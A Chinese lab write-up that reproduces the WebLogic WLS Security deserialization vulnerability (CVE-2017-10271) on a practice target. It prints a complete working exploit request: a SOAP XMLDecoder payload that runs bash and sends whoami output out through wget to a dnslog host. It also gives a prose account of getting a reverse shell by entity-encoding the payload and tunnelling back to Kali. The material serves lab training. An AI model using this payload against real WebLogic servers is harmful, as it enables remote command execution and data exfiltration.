目录

CVE-2017-10271Weblogic-WLS-Security反序列化漏洞复现

[CVE-2017-10271]Weblogic–WLS Security反序列化漏洞复现

靶机地址

网站地址 <cyberstrikelab.com>

靶机地址

靶机说明

Weblogic的WLS Security组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。

https://i-blog.csdnimg.cn/direct/7c16233c0c7c4b5ebe0dbdd2f2ae4d9c.png

开启并访问靶机

https://i-blog.csdnimg.cn/direct/619b6668363f49e182b17435860b89f3.png

https://i-blog.csdnimg.cn/direct/041e1b1f8add4f929839ef648f14c483.png

POC

在访问地址后面补充 /wls-wsat/CoordinatorPortType 会跳转到如下页面,说明有漏洞

https://i-blog.csdnimg.cn/direct/fe9bfad86cf64528a4bfa073c60242a2.png

exp

两个核心:

  • 默认的 GET 方法修改为 POST 方法
  • Content-Type: text/xml

另外,靶机没有 curl 不过有 wget ,可通过 wget + dnslog 信息外带

POST /wls-wsat/CoordinatorPortType HTTP/1.1
Host: xxxxxx.cyberstrikelab.com:83
Content-Type: text/xml
Content-Length: 617

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>wget `whoami`.xxxxx.dnslog.cn
</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

https://i-blog.csdnimg.cn/direct/ee021404c942409ea9e31b01e4f83698.png

反弹shell

一开始反弹shell没有成功,网上查询资料,根据又菜又爱倒腾大佬文章提示,发现部分字符需要转换成实体编码;网上随便找的实体编码在线转换网站 ,反弹过程中使用了 的内网穿透工具(免费的),顺利反弹到本地的 kali 电脑,顺利 getshell

https://i-blog.csdnimg.cn/direct/04874d8ba41d4402af0847deaed83619.png

https://i-blog.csdnimg.cn/direct/72f9c638ce2e46b2bae355e68bd194e8.png

后续查找flag过程略

参考资料以及工具网站:

  1. cyberstrikelab靶机网站
  2. 大佬的
  3. 反弹shell网站
  4. 实体编码在线转换网站
  5. 内网穿透工具
  6. 大表哥哟的 cpolar 使用教程